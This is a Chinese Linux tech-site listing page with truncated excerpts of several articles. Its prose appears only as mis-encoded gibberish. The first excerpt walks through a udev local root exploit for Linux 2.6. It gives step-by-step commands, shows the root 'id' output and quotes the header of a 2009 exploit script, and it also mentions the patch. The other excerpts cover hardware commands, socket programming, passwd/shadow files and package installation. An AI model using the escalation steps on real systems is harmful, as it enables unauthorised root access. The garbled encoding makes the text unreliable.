Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB
ÈÈÃűêÇ©£º c c# c++ asp asp.net linux php jsp java vb Python Ruby mysql sql access Sqlite sqlserver delphi javascript Oracle ajax wap mssql html css flash flex dreamweaver xml
 ×îÐÂÎÄÕ : linux

Linux¹¥·ÀÖ®udev©¶´ÑÝʾ

´Ë©¶´Õë¶Ôlinux2.6Äںˣ¬Ö»ÒªÓÐÆÕͨÓû§È¨ÏÞ£¬¼´¿ÉÌáÉýrootȨÏÞ£¬¿ªÊ¼ÊµÑé°É 1¡¢¸´ÖÆÒÔÏ´úÂ룬±£´æΪudev.sh£¬²¢¸³Óè¿ÉÖ´ÐÐȨÏÞ 2¡¢#useradd test //н¨Ò»¸öÆÕͨÓû§ 3¡¢#su - test //Çл»ÖÁtestÓû§ 4¡¢#ps -ef |grep udev //²é¿´udev id root 474 1 0 Apr09 ? 00:00:00 /sbin/udevd -d 5¡¢#sh udev.sh 473 //Ö´ÐÐÃüÁî,udevdµÄidºÅ¼õ1£¬¼´473 6¡¢sh-3.2# id uid=0(root) gid=0(root) groups=506(test) ´ËʱtestÒѾ­ÌáÉýÖÁrootȨÏÞ ÈçºÎÐÞ¸´Â©¶´£¬Ö»ÒªÉý¼¶udev¾ÍÐÐÁË #yum update udev ¸½´úÂ룺 #!/bin/sh # Linux 2.6 # bug found by Sebastian Krahmer # # lame sploit using LD technique # by kcope in 2009 # tested on debian-etch,ubuntu,gentoo # do a 'cat /proc/net/netlink' # and set the first arg to this # script to the pid of the netlink socket # (the pid is udevd_pid - 1 most of the time) # + sploit has to be UNIX formatted text :) # + if it doesn't work the 1st time try more often # # WARNING: maybe needs some FIXUP to work flawlessly ## greetz fly out to alex,andi,adize,wY!,revo,j! and the ga ......

LINUXϲ鿴Ӳ¼þÐÅÏ¢

¼¸¸öcpu
more /proc/cpuinfo |grep "physical id"|uniq|wc -l
ÿ¸öcpuÊǼ¸ºË£¨¼ÙÉècpuÅäÖÃÏàͬ£©
more /proc/cpuinfo |grep "physical id"|grep "0"|wc -l
cpuʹÓÃÂÊ
vmstat  
ÍƼöС¹¤¾ßnmon£¨aixºÍlinux¶¼ÓУ©
topºó°´Êý×Ö1,¶à¸öcpuµÄ»°»áÏÔʾ¶à¸ö
fdisk -l¿ÉÒÔ¿´µ½¶à¸öÎïÀíÓ²ÅÌ£¬×öÁËÓ²raidÖ»ÄÜ¿´µ½Ò»¸öÓ²ÅÌ
¸øÄãÍƼö¸öС¹¤¾ß
conky
Óû§¼àÊÓϵͳ
dmidecode
ͨ¹ýÉÏÃæÐÅÏ¢ÎÒÃÇ¿ÉÒÔÖªµÀ£¬ÓÐ8¸öºË¡£´Óprocessor  0   µ½processor   7¿ÉÒÔ¿´³öÀ´¡£
ÓÐÁ½¸öcpu£¬´Ó
physical id : 0
ºÍ
physical id : 1
¿ÉÒÔ¿´³öÓÐÁ½¸öcpu¡£
´Ó
cpu cores : 4
¿ÉÒÔ¿´³öÿ¸öcpuÓÐËĸöÄÚºË
[admin@~]$ cat /proc/cpuinfo | grep "physical id" ; cat /proc/cpuinfo | grep "processor" ; fdisk -l ; uname -a ; cat /etc/redhat-release 
physical id     : 0
physical id     : 1
physical id     : 2
physical id     : 3
physical id     : 4
physical id     : 5
physical id     : 6
physical id     : 7
processor       : 0
pro ......

Linux socket API ʹÓÃʵÀý

°´ÏÂÃæ²½ÖèÀ´×ö£¬¿ÉÒÔ¼òµ¥ÌåÑésocket APIµÄʹÓ᣾ßÌ庯ÊýµÄÒâÒ壬Çë²Î¿¼ÆäËû˵Ã÷Îĵµ¡£
ÏÂÃæµÄº¯ÊýÖ±½Ócopy, paste¾Í¿ÉÒÔÁË¡£
Step1. ´´½¨Server ³ÌÐò¡£
н¨Îļþsocket_s.c, ÄÚÈÝÈçÏ£º
-------------------------------------------
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 2323
#define SERVER_IP "192.168.1.101"
int main()
{
    int s, s2;
    struct sockaddr_in addr;
    struct sockaddr_in addr2;
    char buffer[256];
    int sin_size;
    if((s=socket(AF_INET, SOCK_STREAM, 0))<0)
    {
        printf("creat socket error!\n");
        perror("socket");
        exit(1);
  &nb ......

LinuxÏÂSocket±à³Ì


Ô­ÎĵØÖ·: http://www.kuqin.com/networkprog/20080512/8361.html
ʲôÊÇSocket
¡¡¡¡ Socket½Ó¿ÚÊÇTCP/IPÍøÂçµÄAPI£¬Socket½Ó¿Ú¶¨ÒåÁËÐí¶àº¯Êý»òÀý³Ì£¬³ÌÐòÔ±¿ÉÒÔÓÃËüÃÇÀ´¿ª·¢TCP/IPÍøÂçÉϵÄÓ¦ÓóÌÐò¡£ÒªÑ§InternetÉϵÄTCP/IPÍøÂç±à³Ì£¬±ØÐëÀí½âSocket½Ó¿Ú¡£
¡¡ ¡¡ Socket½Ó¿ÚÉè¼ÆÕß×îÏÈÊǽ«½Ó¿Ú·ÅÔÚUnix²Ù×÷ϵͳÀïÃæµÄ¡£Èç¹ûÁ˽âUnixϵͳµÄÊäÈëºÍÊä³öµÄ»°£¬¾ÍºÜÈÝÒ×Á˽âSocketÁË¡£ÍøÂçµÄ SocketÊý¾Ý´«ÊäÊÇÒ»ÖÖÌØÊâµÄI/O£¬SocketÒ²ÊÇÒ»ÖÖÎļþÃèÊö·û¡£SocketÒ²¾ßÓÐÒ»¸öÀàËÆÓÚ´ò¿ªÎļþµÄº¯Êýµ÷ÓÃSocket()£¬¸Ãº¯Êý·µ »ØÒ»¸öÕûÐ͵ÄSocketÃèÊö·û£¬ËæºóµÄÁ¬½Ó½¨Á¢¡¢Êý¾Ý´«ÊäµÈ²Ù×÷¶¼ÊÇͨ¹ý¸ÃSocketʵÏֵġ£³£ÓõÄSocketÀàÐÍÓÐÁ½ÖÖ£ºÁ÷ʽSocket £¨SOCK_STREAM£©ºÍÊý¾Ý±¨Ê½Socket£¨SOCK_DGRAM£©¡£Á÷ʽÊÇÒ»ÖÖÃæÏòÁ¬½ÓµÄSocket£¬Õë¶ÔÓÚÃæÏòÁ¬½ÓµÄTCP·þÎñÓ¦Óã»Êý¾Ý ±¨Ê½SocketÊÇÒ»ÖÖÎÞÁ¬½ÓµÄSocket£¬¶ÔÓ¦ÓÚÎÞÁ¬½ÓµÄUDP·þÎñÓ¦Óá£
Socket½¨Á¢
¡¡¡¡ÎªÁ˽¨Á¢Socket£¬³ÌÐò¿ÉÒÔµ÷ÓÃSocketº¯Êý£¬¸Ãº¯Êý·µ»ØÒ»¸öÀàËÆÓÚÎļþÃèÊö·ûµÄ¾ä±ú¡£socketº¯ÊýÔ­ÐÍΪ£º
¡¡¡¡ int socket(int domain, int type, int protocol);
¡¡ ¡¡ domainÖ¸Ã÷ËùʹÓõÄЭÒé×壬ͨ³£ÎªPF_INET£¬±íʾ»¥ÁªÍøÐ­Ò ......

linux¿ÚÁîÏà¹Ø£¨passwd/shadow£©

      ÔÚlinuxÖУ¬¿ÚÁîÎļþÔÚ/etc/passwdÖУ¬ÔçÆÚµÄÕâ¸öÎļþÖ±½Ó´æ·Å¼ÓÃܺóµÄÃÜÂ룬ǰÁ½Î»ÊÇ"ÑÎ"Öµ£¬ÊÇÒ»¸öËæ»úÊý£¬ºóÃæ¸úµÄÊǼÓÃܵÄÃÜÂ롣ΪÁË°²È«£¬ÏÖÔÚµÄlinux¶¼ÌṩÁË /etc/shadowÕâ¸öÓ°×ÓÎļþ£¬ÃÜÂë·ÅÔÚÕâ¸öÎļþÀïÃ棬²¢ÇÒÊÇÖ»ÓÐroot¿É¶ÁµÄ¡£
ÏÂÃæÀ´·ÖÎöÒ»ÏÂ/etc/passwdÎļþ£¬ËûµÄÿ¸öÌõÄ¿ÓÐ7¸öÓò£¬·Ö±ðÊÇÃû×Ö£ºÃÜÂ룺Óû§id£º×éid£ºÓû§ÐÅÏ¢£ºÖ÷Ŀ¼£ºshell ÀýÈ磺ynguo:x:509:510::/home/ynguo:/bin/bash
ÔÚÀûÓÃÁËshadowÎļþµÄÇé¿öÏ£¬ÃÜÂëÓÃÒ»¸öx±íʾ£¬ÆÕͨÓû§¿´²»µ½ÈκÎÃÜÂëÐÅÏ¢¡£Èç¹ûÄã×ÐϸµÄ¿´¿´Õâ¸öÎļþ£¬»á·¢ÏÖһЩÆæ¹ÖµÄÓû§Ãû£¬ËýÃÇÊÇϵ ͳµÄȱʡÕ˺ţ¬È±Ê¡Õ˺ÅÊǹ¥»÷ÕßÈëÇֵij£ÓÃÈë¿Ú£¬Òò´ËÒ»¶¨ÒªÊìϤȱʡÕ˺ţ¬ÌرðҪעÒâÃÜÂëÓòÊÇ·ñΪ¿Õ¡£ÏÂÃæ¼òµ¥½éÉÜÒ»ÏÂÕâЩȱʡÕ˺Å
admÓµÓÐÕ˺ÅÎļþ£¬ÆðʼĿ¼/var/admͨ³£°üÀ¨ÈÕÖ¾Îļþ
binÓµÓÐÓû§ÃüÁîµÄ¿ÉÖ´ÐÐÎļþ
daemonÓÃÀ´Ö´ÐÐϵͳÊØ»¤½ø³Ì
gamesÓÃÀ´ÍæÓÎÏ·
haltÓÃÀ´Ö´ÐÐhaltÃüÁî
lpÓµÓдòÓ¡»úºǫ́´òÓ¡Îļþ
mailÓµÓÐÓëÓʼþÏà¹ØµÄ½ø³ÌºÍÎļþ
newsÓµÓÐÓëusenetÏà¹ØµÄ½ø³ÌºÍÎļþ
nobody±»NFS£¨ÍøÂçÎļþϵͳ£©Ê¹ÓÃ
shutdownÖ´ÐÐshutdownÃüÁî
syncÖ´ÐÐsyncÃüÁî
uucpÓµÓÐuucp¹¤¾ß ......

LinuxÏÂÈí¼þ°²×°

LinuxÏÂÈí¼þ°ü°²×°·½·¨
1.ÒѾ­±àÒë´ò°üºÃµÄxxx.rpm
  ʹÓÃrpmÃüÁÐèÒª´ò¿ªÖնˣ¬Çл»µ½xxx.rpmËùÔÚĿ¼£¬rpm -ivh xxx.rpm
2.´ò°üºÃµÄÔ´Âë°üxxx.src.rpm
  ÒªÓÃrpm -rebuild xxx.src.rpmÃüÁîÀ´ÖØÐÂÉú³É
  ×¢£º¶ÔÓÚrpmÃüÁîµÄÏê½â¿ÉÒÔʹÓà $rpm -helpÀ´²é¿´
3.°²×°³ÌÐòxxx.bin
  ÏÈ°Ñxxx.bin¸ÄΪ¿ÉÖ´ÐÐ״̬£¬¿ÉÒÔÓÃÈçÏÂÃüÁchmod +x xxx.bin£¬¾Í¿ÉÒÔÔÚÖÕ¶ËÏÂÖ´ÐÐxxx.binÁË¡£
4.ѹËõ·½Ê½µÄÈí¼þ°üxxx.tar.gz,xxx.bz2,xxx.zµÈµÈ
  ÕâÖÖÈí¼þ°üÓÖ·ÖÁ½ÖÖÐÎʽ£º
a.ÒѾ­±àÒëºÃµÄÈí¼þ°ü£¬Ê¹Óð²×°½Å±¾À´°²×°£º
  ÔÚ°²×°Ç°×îºÃ¿´ÏÂÈí¼þ°üµÄ˵Ã÷Îļþ£¬Èçreadme,install,xxx.htmµÈ
  ´ò¿ªÖնˣ¬Çл»µ½Èí¼þ°üËùÔÚĿ¼£¬ÔËÐÐÈçÏÂÃüÁî./xxx.sh »ò./xxx.pl¼´¿É¡£
b.ÐèÒª×ÔÐбàÒëµÄÔ´ÂëѹËõ°ü£¬ÏȽâѹËõ£º
  ÏÈ¿´ÏÂÈí¼þ°üµÄ˵Ã÷Îļþ£¬Èçreadme,install,xxx.htmµÈ¡£
  Ò»°ã°²×°ÐÎʽΪ£º
  ´ò¿ªÖնˣ¬Çл»µ½Èí¼þ°üËùÔÚĿ¼£¬ÔËÐÐÈçÏÂÃüÁî./configuer→make→make check→make installÕâÑù£¬¾ÍÍê³ÉÁËÈí¼þµÄ°²×°¹ý³Ì¡£  ......
×ܼǼÊý:5772; ×ÜÒ³Êý:962; ÿҳ6 Ìõ; Ê×Ò³ ÉÏÒ»Ò³ [2] [3] [4] [5] 6 [7] [8] [9] [10] [11]  ÏÂÒ»Ò³ βҳ
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ